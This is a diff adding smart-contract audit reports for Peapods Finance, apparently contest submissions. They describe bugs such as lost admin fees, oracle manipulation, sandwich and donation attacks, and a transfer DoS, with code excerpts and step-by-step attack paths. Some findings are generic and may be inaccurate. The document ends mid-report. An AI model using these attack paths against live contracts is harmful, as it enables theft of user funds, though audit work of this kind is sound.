+ (_isBadData, _price18) = _getDefaultPrice18(); // USDC / WETH = 3000e18 USDC
+ if (_isBadData) {
+ return 0;
+ }
+ }
+ _basePerPTkn18 = _accountForCBRInPrice(pod, underlyingTkn, _price18);
+
+ // adjust current price for spTKN pod unwrap fee, which will end up making the end price
+ // (spTKN per base) higher, meaning it will take more spTKN to equal the value
+ // of base token. This will more accurately ensure healthy LTVs when lending since
+ // a liquidation path will need to account for unwrap fees
+&> _basePerPTkn18 = _accountForUnwrapFeeInPrice(pod, _basePerPTkn18); // @audit it's not needed because weighted index is always substract that amount in convertAssets call
+ }
+```
+
+But it's actually counted in `_accountForCBRInPrice` internal call because `_accountForCBRInPrice` function calls `convertToAssets` function in pTKN contract and it substract the debond fee in here. Due to this problem spTKN/base value will be calculated lesser than actual.
+
+Therefore, aspTKN/base value will be also wrong.
+
+### Internal Pre-conditions
+
+No need
+
+### External Pre-conditions
+
+No need
+
+### Attack Path
+
+No need
+
+### Impact
+
+aspTKN/base will be less than actual and it will make some liquidateable positions to can't be liquidated. Liquidation is time-sensitive function and it should liquidate the position at correct price.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Do not count the debond fee double times
\ No newline at end of file
diff --git a/522.md b/522.md
new file mode 100644
index 0000000..ca18237
--- /dev/null
+++ b/522.md
@@ -0,0 +1,85 @@
+Bent Beige Dachshund
+
+High
+
+# Admin fee is lost in `_swapForRewards()` if `DEX_ADAPTER.swapV3Single()` fails
+
+### Summary
+
+Admin fees will be lost entirely if the `swapV3Single()` call fails leading to a loss of funds
+
+```solidity
+File: TokenRewards.sol
+292: function _swapForRewards(uint256 _amountIn, uint256 _amountOut, uint256 _adminAmt) internal {
+293: if (_rewardsSwapAmountInOverride > 0) {
+294: _adminAmt = (_adminAmt * _rewardsSwapAmountInOverride) / _amountIn;
+295: _amountOut = (_amountOut * _rewardsSwapAmountInOverride) / _amountIn;
+296: _amountIn = _rewardsSwapAmountInOverride;
+297: }
+298: uint256 _balBefore = IERC20(rewardsToken).balanceOf(address(this));
+299: IERC20(PAIRED_LP_TOKEN).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+300: @> try DEX_ADAPTER.swapV3Single(
+301: PAIRED_LP_TOKEN,
+302: rewardsToken,
+303: REWARDS_POOL_FEE,
+304: _amountIn,
+305: _amountIn == REWARDS_SWAP_OVERRIDE_MIN ? 0 : (_amountOut * (1000 - REWARDS_SWAP_SLIPPAGE)) / 1000,
+306: address(this)
+307: ) {
+308: _rewardsSwapAmountInOverride = 0;
+309: @> if (_adminAmt > 0) {
+310: @> _processAdminFee(_adminAmt);
+311: }
+312: _depositRewards(rewardsToken, IERC20(rewardsToken).balanceOf(address(this)) - _balBefore);
+313: } catch {
+314: _rewardsSwapAmountInOverride =
+315: _amountIn / 2 < REWARDS_SWAP_OVERRIDE_MIN ? REWARDS_SWAP_OVERRIDE_MIN : _amountIn / 2;
+316: IERC20(PAIRED_LP_TOKEN).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+317: emit RewardSwapError(_amountIn);
+318: }
+319: }
+
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L292-L318
+
+### Root Cause
+
+As shown in the code snipet above, `_processAdminFee()` is called only if the `try DEX_ADAPTER.swapV3Single()` call succeeds however in a situation where the call fails, the `_amountIn` is saved in the `_rewardsSwapAmountInOverride` for trail another time when the the swap can be tried.
+
+The problem is that if the `try` call fails, the `_processAdminFee(_adminAmt);` function is not called at all and as such the admin fees are not processed and are thus not transfered to the admin
+
+```solidity
+
+File: TokenRewards.sol
+321: function _processAdminFee(uint256 _amount) internal {
+322: @> IERC20(PAIRED_LP_TOKEN).safeTransfer(OwnableUpgradeable(address(V3_TWAP_UTILS)).owner(), _amount);
+323: }
+
+```
+
+Note: Although the `_adminAmt` attemps to be processed when the call is made again, but this time as a fraction of the previously cached `_rewardsSwapAmountInOverride` which may be lower than the fees in the current execution flow
+
+### Internal Pre-conditions
+
+NIL
+
+### External Pre-conditions
+
+`DEX_ADAPTER.swapV3Single()` swap call fails
+
+### Attack Path
+
+- `DEX_ADAPTER.swapV3Single()` swap call fails and the admin fee are not processed for that particular execution flow
+
+### Impact
+
+Loss of admin fees
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Modify the `TokenRewards::_swapForRewards()` function to ensure that the admin fees are always processed intact.
\ No newline at end of file
diff --git a/523.md b/523.md
new file mode 100644
index 0000000..f3a11eb
--- /dev/null
+++ b/523.md
@@ -0,0 +1,40 @@
+Alert Lime Panda
+
+Medium
+
+# Hardcoded Contract Addresses in the Code Base Are Not Available on Some Chains
+
+## Summary
+
+The code base hardcoded several contract addresses, but some of them are not avaialable in some of the chains mentioned in the [README](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/README.md#q-on-what-chains-are-the-smart-contracts-going-to-be-deployed).
+
+For example, the contract `Zapper` has several issues with tokens and routers that are not available across all chains. These issues could lead to mismatches or errors when interacting with the contract on unsupported networks.
+
+## Vulnerability Detail
+
+There are no checks or logic to handle differences across networks, which means the contract might malfunction when deployed on chains where certain tokens or liquidity pools or contarcts do not exist.
+
+1. **Unsupported Tokens and Routers in Zapper Contract **:
+ - The following [addresses](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L23C5-L26C77) are hardcoded for tokens and routers that are not available on some chains like Arbitrum, Base, Mode, and Berachain:
+ - `STYETH` (StyEth) [Not available in arbitrum, base, mode, berachain]
+ - `YETH` (Yeth) [Not available in arbitrum, base, mode, berachain]
+ - `WETH_YETH_POOL` [Not available in arbitrum, base, mode, berachain]
+ - `V3_ROUTER` [Not available in base, mode, berachain]
+ - `OHM` (Olympus) [Not available in arbitrum, base, mode, berachain]
+ - Since the contract assumes these addresses are valid on all chains, this can lead to failures when deployed on chains where they are not supported.
+
+2. **Aerodrome CLFactory is not available in Ethereum, Arbitrum, Mode and Berachain**:
+ https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/AerodromeDexAdapter.sol#L20
+
+3. **Camelot UniswapV2Router02 is not available in Ethereum, Base, Mode and Berachain**:
+ https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/CamelotDexAdapter.sol#L18
+
+## Impact
+
+This issue could cause a contract to fail when interacting with tokens, pools, or routers on unsupported networks. This would result in transaction reverts or incorrect behavior, especially for users who are interacting with the contract on Arbitrum, Base, Mode, and Berachain.
+
+## Tool used
+Manual Review
+
+## Recommendation
+**Implement Chain-Specific Logic**: Check the chain the contract is deployed on and adjust addresses accordingly, either by defining them in a chain-specific mapping or by using a contract registry for tokens and routers.
diff --git a/524.md b/524.md
new file mode 100644
index 0000000..7a3ef17
--- /dev/null
+++ b/524.md
@@ -0,0 +1,22 @@
+Sneaky Arctic Troll
+
+High
+
+# ERC20 transfer fee handling
+
+**Description:**
+The protocol does not handle tokens with transfer fees (fee-on-transfer tokens). This can lead to discrepancies in token balances, causing the contract to malfunction during operations such as swaps, deposits, or withdrawals. The absence of proper handling for these tokens is a critical vulnerability, especially since fee-on-transfer tokens are common in DeFi ecosystems.
+
+**Impact:**
+- Transactions involving fee-on-transfer tokens may fail or result in incorrect balances.
+- Potential loss of funds due to unaccounted-for fees during transfers.
+
+**Recommendation:**
+Implement a mechanism to account for fee-on-transfer tokens. For example:
+- Use `safeTransferFrom` followed by balance checks to ensure the correct amount is received.
+- Add a whitelist for supported tokens and explicitly exclude fee-on-transfer tokens.
+
+**Code Reference:**
+```solidity
+IERC20(_token).safeTransferFrom(_msgSender(), address(this), _amount);
+```
\ No newline at end of file
diff --git a/525.md b/525.md
new file mode 100644
index 0000000..0ed0ce9
--- /dev/null
+++ b/525.md
@@ -0,0 +1,22 @@
+Sneaky Arctic Troll
+
+High
+
+# Price-Oracle manipulation
+
+**Description:**
+The protocol relies on a spot price oracle (`podOracle.getPodPerBasePrice()`) for slippage calculations. Spot price oracles are vulnerable to manipulation via flash loans, which can lead to significant financial losses during swaps or liquidity additions.
+
+**Impact:**
+- Attackers can manipulate the oracle price to exploit slippage mechanisms.
+- Potential for large-scale financial losses due to inaccurate pricing.
+
+**Recommendation:**
+Replace the spot price oracle with a decentralized price feed or a Time-Weighted Average Price (TWAP) oracle. Ensure that the oracle implementation is resistant to flash loan attacks.
+
+**Code Reference:**
+```solidity
+uint256 _minPtknOut = (
+ podOracle.getPodPerBasePrice() * _pairedSwapAmt * 10 ** IERC20Metadata(address(pod)).decimals() * 95
+) / 10 ** IERC20Metadata(_pairedLpToken).decimals() / 10 ** 18 / 100;
+```
\ No newline at end of file
diff --git a/526.md b/526.md
new file mode 100644
index 0000000..66e814c
--- /dev/null
+++ b/526.md
@@ -0,0 +1,21 @@
+Sneaky Arctic Troll
+
+High
+
+# frontrunning
+
+**Description:**
+The protocol uses a fixed slippage value (`REWARDS_SWAP_SLIPPAGE = 2%`) for reward swaps but lacks dynamic slippage protection for certain operations. This exposes the protocol to front-running attacks, where bots can exploit predictable transaction outcomes.
+
+**Impact:**
+- Increased slippage costs for users.
+- Potential loss of funds due to unfavorable swap rates.
+
+**Recommendation:**
+- Implement dynamic slippage protection based on market conditions.
+- Allow users to specify custom slippage values for sensitive operations.
+
+**Code Reference:**
+```solidity
+uint256 constant REWARDS_SWAP_SLIPPAGE = 20; // 2%
+```
\ No newline at end of file
diff --git a/527.md b/527.md
new file mode 100644
index 0000000..167fcd2
--- /dev/null
+++ b/527.md
@@ -0,0 +1,21 @@
+Sneaky Arctic Troll
+
+High
+
+# donation attack
+
+**Description:**
+The protocol does not account for external token donations, which can lead to incorrect balance calculations. Attackers can exploit this by donating tokens to manipulate the protocol's internal state.
+
+**Impact:**
+- Incorrect balance calculations can disrupt core functionalities like swaps and rewards distribution.
+- Potential for financial losses due to miscalculations.
+
+**Recommendation:**
+- Implement safeguards to ignore unexpected token balances.
+- Use snapshot mechanisms to track balances before and after operations.
+
+**Code Reference:**
+```solidity
+uint256 _bal = IERC20(_token).balanceOf(address(this)) - (_token == pod.PAIRED_LP_TOKEN() ? _protocolFees : 0);
+```
\ No newline at end of file
diff --git a/528.md b/528.md
new file mode 100644
index 0000000..b324eae
--- /dev/null
+++ b/528.md
@@ -0,0 +1,56 @@
+Huge Cyan Cod
+
+Medium
+
+# All the paused reward tokens will be stuck in contract
+
+### Summary
+
+All the paused reward tokens will be stuck in contract
+
+### Root Cause
+
+In [Token Rewards Contract](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L236), distribution is happening before every function call and before distribution the contract checks the reward token is paused or not by the authority.
+
+```solidity
+ function _distributeReward(address _wallet) internal {
+ if (shares[_wallet] == 0) {
+ return;
+ }
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+
+ if (REWARDS_WHITELISTER.paused(_token)) {
+ // @audit at paused state rewards will be locked, if he remove some shares
+ continue;
+ }
+```
+
+If some tokens are paused for distribution and if the claimer doesn't hold SP token anymore, the tokens are permenantly locked in the contract. Because after setting the shares of the wallet owner to zero, it will be impossible to recover that reward tokens back even if it's unpaused back.
+
+### Internal Pre-conditions
+
+1. SP owner wants to claim his LP tokens and rewards from the pool
+
+### External Pre-conditions
+
+1. A reward token should be paused by the authority
+
+### Attack Path
+
+1. Alice holds some SP token and she has some rewards in rewards contract
+2. She wants to claim her rewards and get back the liquidity tokens ( v2 pool tokens ).
+3. A reward token is paused by the authority for some time
+4. After claiming and redeeming the rewards are permanently locked in the contract.
+
+### Impact
+
+Loss of funds for the wallet owner
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Handle paused tokens with another algorithm
\ No newline at end of file
diff --git a/529.md b/529.md
new file mode 100644
index 0000000..7c27fdc
--- /dev/null
+++ b/529.md
@@ -0,0 +1,33 @@
+Sneaky Arctic Troll
+
+High
+
+# Donation attack via ERC777
+
+#### Issue Description
+The smart contract calculates the output of swaps using balance differences (`balanceOf(recipient)`). This approach is vulnerable to donation attacks if the recipient is a contract implementing ERC777 or similar token standards with hooks. An attacker could manipulate the recipient's balance during the transfer, leading to incorrect calculations and potential fund loss.
+
+#### Impact
+This vulnerability allows an attacker to manipulate swap outputs, potentially draining funds from the protocol. The risk is exacerbated by the fact that the protocol does not restrict the use of "weird tokens" (e.g., ERC777) in its codebase, leaving it exposed to such attacks.
+
+#### Proof of Concept
+1. An attacker deploys a malicious ERC777 token with hooks.
+2. During a swap, the attacker triggers the hook to temporarily increase the recipient's balance.
+3. The protocol calculates the output based on the inflated balance, transferring more tokens than intended to the attacker.
+
+#### Recommendation
+Instead of relying on `balanceOf` to calculate output, use the actual amount returned by the swap function. For fee-on-transfer tokens, ensure proper handling by explicitly accounting for fees during transfers.
+
+```solidity
+// Before
+uint256 _outBefore = IERC20(_tokenOut).balanceOf(_recipient);
+// ... perform swap ...
+_amountOut = IERC20(_tokenOut).balanceOf(_recipient) - _outBefore;
+
+// After
+(uint256 actualAmountOut) = IAerodromeRouter(V2_ROUTER).swapExactTokensForTokens(...);
+require(actualAmountOut >= _amountOutMin, "Insufficient output");
+```
+
+#### References
+- [ERC777 Standard](https://eips.ethereum.org/EIPS/eip-777)
\ No newline at end of file
diff --git a/530.md b/530.md
new file mode 100644
index 0000000..01be33f
--- /dev/null
+++ b/530.md
@@ -0,0 +1,28 @@
+Sneaky Arctic Troll
+
+Medium
+
+# Price Oracle Manipulation
+
+#### Issue Description
+The protocol uses TWAP oracles with short intervals (10 minutes) to determine prices. These oracles are vulnerable to flash loan attacks, where an attacker can manipulate pool prices within the TWAP window to distort oracle readings.
+
+#### Impact
+Manipulating the oracle can lead to incorrect pricing, enabling attackers to exploit leverage operations, liquidations, or other financial mechanisms. Given the protocol's reliance on arbitrage bots and liquidations, this issue poses a significant risk to the system's integrity.
+
+#### Proof of Concept
+1. An attacker borrows a large amount of liquidity using a flash loan.
+2. They manipulate the price of a token pair in a Uniswap V3 pool.
+3. The TWAP oracle reads the manipulated price, causing incorrect calculations in the protocol.
+4. The attacker exploits the distorted price to execute profitable trades or avoid liquidations.
+
+#### Recommendation
+Increase the TWAP interval to at least 1 hour to reduce the impact of short-term manipulations. Alternatively, use Chainlink as the primary oracle with TWAP as a secondary fallback.
+
+```solidity
+// Increase TWAP interval
+uint32 constant INTERVAL = 1 hours;
+```
+
+#### References
+- [TWAP Oracle Vulnerabilities](https://docs.uniswap.org/concepts/protocol/oracles)
\ No newline at end of file
diff --git a/531.md b/531.md
new file mode 100644
index 0000000..edc6b41
--- /dev/null
+++ b/531.md
@@ -0,0 +1,30 @@
+Sneaky Arctic Troll
+
+High
+
+# Flash Loan exploitation
+
+#### Issue Description
+Leverage operations in the protocol rely on oracles to determine prices. If an attacker manipulates prices during a flash loan, they can distort positions, leading to incorrect liquidations or excessive borrowing.
+
+#### Impact
+Flash loan attacks can cause cascading failures in the protocol, including bad debt accumulation and loss of user funds. The protocol's design assumes the existence of arbitrage bots to maintain market stability, but this assumption may not hold under adversarial conditions.
+
+#### Proof of Concept
+1. An attacker initiates a flash loan to borrow a large amount of liquidity.
+2. They manipulate the price of a token pair in a lending pool.
+3. The protocol's oracle reads the manipulated price, allowing the attacker to borrow more than intended or avoid liquidation.
+4. The attacker repays the flash loan, profiting from the discrepancy.
+
+#### Recommendation
+Implement stricter validation for oracle readings, such as requiring multiple sources or increasing the TWAP interval. Additionally, enforce slippage tolerance checks to mitigate the impact of price manipulation.
+
+```solidity
+// Enforce minimum 0.5% slippage tolerance
+if (_amountOutMin == 0) {
+ _amountOutMin = (expectedAmountOut * 995) / 1000;
+}
+```
+
+#### References
+- [Flash Loan Attacks](https://medium.com/coinmonks/flash-loan-attacks-explained-8b5c7f4b2d6a)
\ No newline at end of file
diff --git a/532.md b/532.md
new file mode 100644
index 0000000..51da4e0
--- /dev/null
+++ b/532.md
@@ -0,0 +1,78 @@
+Brilliant Fiery Sheep
+
+Medium
+
+# `_swapForRewards` failures can be gamed to earn more rewards
+
+### Summary
+
+When a swap fails during the `TokenRewards.depositFromPairedLpToken` process, the `_rewardsPerShare` will not be updated until the swap is successful later. This means that users can take advantage of this and stake when they know a swap failure has occurred so that they can profit from the rewards when the swap succeeds later.
+
+### Root Cause
+
+`TokenRewards._swapForRewards` halves the token amount to be swapped for later retries.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L292-L319
+
+```solidity
+ function _swapForRewards(uint256 _amountIn, uint256 _amountOut, uint256 _adminAmt) internal {
+ if (_rewardsSwapAmountInOverride > 0) {
+ _adminAmt = (_adminAmt * _rewardsSwapAmountInOverride) / _amountIn;
+ _amountOut = (_amountOut * _rewardsSwapAmountInOverride) / _amountIn;
+ _amountIn = _rewardsSwapAmountInOverride;
+ }
+ uint256 _balBefore = IERC20(rewardsToken).balanceOf(address(this));
+ IERC20(PAIRED_LP_TOKEN).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ try DEX_ADAPTER.swapV3Single(
+ PAIRED_LP_TOKEN,
+ rewardsToken,
+ REWARDS_POOL_FEE,
+ _amountIn,
+ _amountIn == REWARDS_SWAP_OVERRIDE_MIN ? 0 : (_amountOut * (1000 - REWARDS_SWAP_SLIPPAGE)) / 1000,
+ address(this)
+ ) {
+ _rewardsSwapAmountInOverride = 0;
+ if (_adminAmt > 0) {
+ _processAdminFee(_adminAmt);
+ }
+ _depositRewards(rewardsToken, IERC20(rewardsToken).balanceOf(address(this)) - _balBefore);
+ } catch {
+ _rewardsSwapAmountInOverride =
+ _amountIn / 2 < REWARDS_SWAP_OVERRIDE_MIN ? REWARDS_SWAP_OVERRIDE_MIN : _amountIn / 2;
+ IERC20(PAIRED_LP_TOKEN).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ emit RewardSwapError(_amountIn);
+ }
+ }
+```
+
+What this means is there will be instances where a user knows that there are pending rewards to be added. They can therefore exploit this to stake whenever there are swap failures to be retried therefore profiting unfairly.
+
+They will profit from rewards that should have been allocated to users who had been staking when the swap failed.
+
+### Internal Pre-conditions
+
+`_swapForRewards` fails and `_rewardsSwapAmountInOverride` is stored to be retried later.
+
+### External Pre-conditions
+
+External DEX is unable to process a swap leading to a failure.
+
+### Attack Path
+
+1. A swap for rewards fails after `depositFromPairedLpToken` has been called.
+2. User notices the failure (`_rewardsSwapAmountInOverride` will also contain a non zero value).
+3. User stakes.
+4. Swap for rewards finally succeeds and they earn a part of the rewards even though the deposit of rewards happened when they werent staking.
+
+### Impact
+
+Loss of rewards for existing stakers.
+New staker unfairly profits from earlier staker rewards.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Possibly track the non swapped rewards and exclude them from newer stakers.
\ No newline at end of file
diff --git a/533.md b/533.md
new file mode 100644
index 0000000..1df8f26
--- /dev/null
+++ b/533.md
@@ -0,0 +1,30 @@
+Sneaky Arctic Troll
+
+Medium
+
+# Front-Running in Swap functions
+
+#### Issue Description
+The swap functions lack commit-reveal schemes, making them vulnerable to front-running by miners or bots. This can result in users receiving less favorable prices than expected.
+
+#### Impact
+While the protocol includes `amountOutMin` parameters to mitigate front-running, users may still experience losses if they fail to set appropriate values. The absence of a robust mechanism to prevent front-running increases the risk of exploitation.
+
+#### Proof of Concept
+1. A user submits a swap transaction with a low gas fee.
+2. A miner observes the transaction in the mempool and executes a similar trade with a higher gas fee.
+3. The miner's transaction is processed first, altering the pool price.
+4. The user's transaction executes at a worse price, resulting in financial loss.
+
+#### Recommendation
+Implement slippage tolerance checks and educate users to set appropriate `amountOutMin` values. Consider integrating commit-reveal schemes to further mitigate front-running risks.
+
+```solidity
+// Enforce slippage tolerance
+if (_amountOutMin == 0) {
+ _amountOutMin = (expectedAmountOut * 995) / 1000;
+}
+```
+
+#### References
+- [Front-Running in DeFi](https://medium.com/coinmonks/front-running-in-defi-what-it-is-and-how-to-prevent-it-5c5b8b5f7b9d)
\ No newline at end of file
diff --git a/534.md b/534.md
new file mode 100644
index 0000000..781f14a
--- /dev/null
+++ b/534.md
@@ -0,0 +1,81 @@
+Scrawny Mahogany Boa
+
+High
+
+# Sandwitch attacks in the contract `AutoCompoundingPodLp`
+
+### Summary
+
+In the contract `AutoCompoundingPodLp`, the functions `deposit`, `mint`, `withdraw` and `redeem` will invoke the function `_processRewardsToPodLp(0, block.timestamp)` with the `_amountLpOutMin` to be zero which means there is no slippage protection in the process for rewards to podlp. Thus a malicious user could conduct sandwich attacks to them.
+
+
+
+[AutoCompoundingPodLp](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L124-L128)
+
+```solidity
+ function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp);
+ _shares = _convertToShares(_assets, Math.Rounding.Floor);
+ _deposit(_assets, _shares, _receiver);
+ }
+```
+
+[AutoCompoundingPodLp](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L148-L152)
+
+```solidity
+ function mint(uint256 _shares, address _receiver) external override returns (uint256 _assets) {
+ _processRewardsToPodLp(0, block.timestamp);
+ _assets = _convertToAssets(_shares, Math.Rounding.Ceil);
+ _deposit(_assets, _shares, _receiver);
+ }
+```
+
+[AutoCompoundingPodLp](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L162-L166)
+
+```solidity
+ function withdraw(uint256 _assets, address _receiver, address _owner) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp);
+ _shares = _convertToShares(_assets, Math.Rounding.Ceil);
+ _withdraw(_assets, _shares, _msgSender(), _owner, _receiver);
+ }
+```
+
+[AutoCompoundingPodLp](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L176-L180)
+
+```solidity
+ function redeem(uint256 _shares, address _receiver, address _owner) external override returns (uint256 _assets) {
+ _processRewardsToPodLp(0, block.timestamp);
+ _assets = _convertToAssets(_shares, Math.Rounding.Floor);
+ _withdraw(_assets, _shares, _msgSender(), _owner, _receiver);
+ }
+```
+
+### Root Cause
+
+The functions `deposit`, `mint`, `withdraw` and `redeem` will invoke the function `_processRewardsToPodLp(0, block.timestamp)` with the `_amountLpOutMin` to be zero which means there is no slippage protection in the process for rewards to podlp.
+
+
+### Internal Pre-conditions
+
+NA
+
+### External Pre-conditions
+
+NA
+
+### Attack Path
+
+NA
+
+### Impact
+
+Thus a malicious user could conduct sandwich attacks to them.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add slippage protection according to the oracle prices.
diff --git a/535.md b/535.md
new file mode 100644
index 0000000..810e4ae
--- /dev/null
+++ b/535.md
@@ -0,0 +1,96 @@
+Huge Cyan Cod
+
+High
+
+# Some pod token transfers can be reverted unexpectedly
+
+### Summary
+
+Some pod token transfers can be reverted unexpectedly
+
+### Root Cause
+
+In decentralized index contract, we have a little bit complex transfer functionality. Let's check the _update function for it:
+
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ require(!_blacklist[_to], "BK");
+ bool _buy = _from == V2_POOL && _to != V2_ROUTER;
+ bool _sell = _to == V2_POOL;
+ uint256 _fee;
+ if (_swapping == 0 && _swapAndFeeOn == 1) {
+ if (_from != V2_POOL) {
+ _processPreSwapFeesAndSwap();
+ }
+ if (_buy && _fees.buy > 0) {
+ _fee = (_amount * _fees.buy) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (_sell && _fees.sell > 0) {
+ _fee = (_amount * _fees.sell) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+ _processBurnFee(_fee);
+ super._update(_from, _to, _amount - _fee);
+```
+
+If the _from is not V2_pool, it always tries to swap tokens to PAIRED_LP_TOKEN and then it deposits those tokens to rewards contract in `_processPreSwapFeesAndSwap` function.
+
+The problem occurs in [rewards contract](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L214). If there is no LP token staking yet in the contract, it will expect to get rewardsToken from deposit reward function.
+
+```solidity
+ if (totalShares == 0) {
+ require(_token == rewardsToken, "R"); // @audit it will revert unexpectedly if there is no shares
+ // deposit reward with PAIRED_LP
+ _burnRewards(_amountTotal);
+ return;
+ }
+```
+
+Attacker can lock the pTKN transfers in attack vector provided in "Attack Path" heading.
+
+### Internal Pre-conditions
+
+1. It should be a fresh pTKN
+2. PAIRED_ASSET != rewardsToken
+
+### External Pre-conditions
+
+No need
+
+### Attack Path
+
+1. A new pTKN is created by Alice
+2. Attacker saw the pTKN creation of Alice
+3. Attacker bonded some amounts of underlying tokens to pTKN
+4. Attacker manually added some liquidity to V2_Pool with paired asset in order to pass the following if check:
+
+```solidity
+ uint256 _lpBal = balanceOf(V2_POOL);
+ uint256 _min = block.chainid == 1 ? _lpBal / 1000 : _lpBal / 4000; // 0.1%/0.025% LP bal
+
+ uint256 _max = _lpBal / 100; // 1%
+ if (_bal >= _min && _lpBal > 0) {
+```
+
+5. Now he donated some amount of pTKN to pod contract it self
+6. The if check will be passed after donation
+7. Now, every transfer function will be DoSed because Pod contract will try to swap the tokens and then it will try to deposit to reward contract
+8. There is no supply currently because Attacker didn't use staking pool
+9. LP_PAIRED_ASSET doesn't have to be equal to rewardsToken in rewards contract and all the transactions will revert in pod contract.
+
+### Impact
+
+All the transactions of pTKN contract are DoSed. The pod can't be used anymore until supplying some LP token to staking pool. User can't use bond function anymore because _mint function will call _update function and it will try to deposit reward again and it will revert again.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Fix is not trivial
\ No newline at end of file
diff --git a/536.md b/536.md
new file mode 100644
index 0000000..d422e18
--- /dev/null
+++ b/536.md
@@ -0,0 +1,79 @@
+Huge Cyan Cod
+
+High
+
+# All the burn and mint functions are impacted from incorrect _update handling if there is a fee
+
+### Summary
+
+All the burn and mint functions are impacted from incorrect _update handling if there is a fee
+
+### Root Cause
+
+In [Decentralized Index Contract](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L159), update function is overrided by the protocol and some features are added.
+
+Transfers can have fees if user active hasTransferTax value in pod configuration but also there are other fees in buying and selling in V2 uniswap pool. The problem is _update function incorrectly handles burning and minting actions if there is some fee amount.
+
+For instance:
+
+```solidity
+ function _processBurnFee(uint256 _amtToProcess) internal {
+ if (_amtToProcess == 0 || _fees.burn == 0) {
+ return;
+ }
+ uint256 _burnAmt = (_amtToProcess * _fees.burn) / DEN;
+ _totalSupply -= _burnAmt;
+ _burn(address(this), _burnAmt);
+ }
+```
+This function is called in _update function and it calls _burn function. In default ERC20 _burn, it will call _update again and it will reenter and it will burn some extra amount of fee.
+
+This is just one example there are many other wrong handling in the contract for burn and minting.
+
+### Internal Pre-conditions
+
+No need
+
+### External Pre-conditions
+
+No need
+
+### Attack Path
+
+No need
+
+### Impact
+
+There will be many impact on the contract. The biggest problem is wrong accounting of internal supply value. Because before every _burn function it first substract the whole amount from supply value, for instance:
+
+```solidity
+ function burn(uint256 _amount) external lock {
+ _totalSupply -= _amount;
+ _burn(_msgSender(), _amount);
+ }
+```
+Additionally, in fee burning part it's substracted again:
+
+```solidity
+ function _processBurnFee(uint256 _amtToProcess) internal {
+ if (_amtToProcess == 0 || _fees.burn == 0) {
+ return;
+ }
+ uint256 _burnAmt = (_amtToProcess * _fees.burn) / DEN;
+ _totalSupply -= _burnAmt;
+ _burn(address(this), _burnAmt);
+ }
+```
+
+In conclusion totalSupply will be less than actual amount and it can completely DoS the pTKN if it reachs to value 0. Attacker can simply use that attack vector by burn function because protocol allows everyone to burn their pTKN.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+In order to skip the _update function directly use
+
+```super.update(Alice, 0, 1e18)``` for burn
+```super.update(0,Alice, 1e18)```for mint
\ No newline at end of file
diff --git a/537.md b/537.md
new file mode 100644
index 0000000..59802bc
--- /dev/null
+++ b/537.md
@@ -0,0 +1,62 @@
+Wonderful Eggshell Osprey
+
+Medium
+
+# Lockup period for user takes effect on all user stakes when user adds more stakes in Voting.sol
+
+### Summary
+
+The stake function allows users to stake an asset. However, when a user stakes additional tokens after the owner modifies the lockup period, all previous stakes become subject to the new lockup period. This behavior can be problematic for users expecting to withdraw their original stakes based on the lockup duration that was in effect when they initially staked.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/VotingPool.sol#L38
+
+### Root Cause
+
+```solidity
+ function stake(address _asset, uint256 _amount) external override {
+ require(_amount > 0, "A");
+ IERC20(_asset).safeTransferFrom(_msgSender(), address(this), _amount);
+ stakes[_msgSender()][_asset].lastStaked = block.timestamp;
+@> stakes[_msgSender()][_asset].lockupPeriod = lockupPeriod;
+ _updateUserState(_msgSender(), _asset, _amount);
+ emit AddStake(_msgSender(), _asset, _amount);
+ }
+```
+
+The function updates the lockup period with the global lockupPeriod variable, this overrides the previous stake lock period and set the current global lockup period as the new lock up period.
+
+### Internal Pre-conditions
+
+None
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+None
+
+### Impact
+
+Users who stake under a short lockup period may find their funds inaccessible for a longer duration if they add more tokens after the owner increases the lockup.
+
+Users expect each stake to retain its original lockup period instead of being overwritten by subsequent stakes.
+
+### PoC
+
+Scenario:
+Initial Stake:
+
+User stakes 100 tokens with a 7-day lockup (lockupPeriod = 7 days).
+
+Lockup Period Update:
+Owner updates lockupPeriod to 14 days.
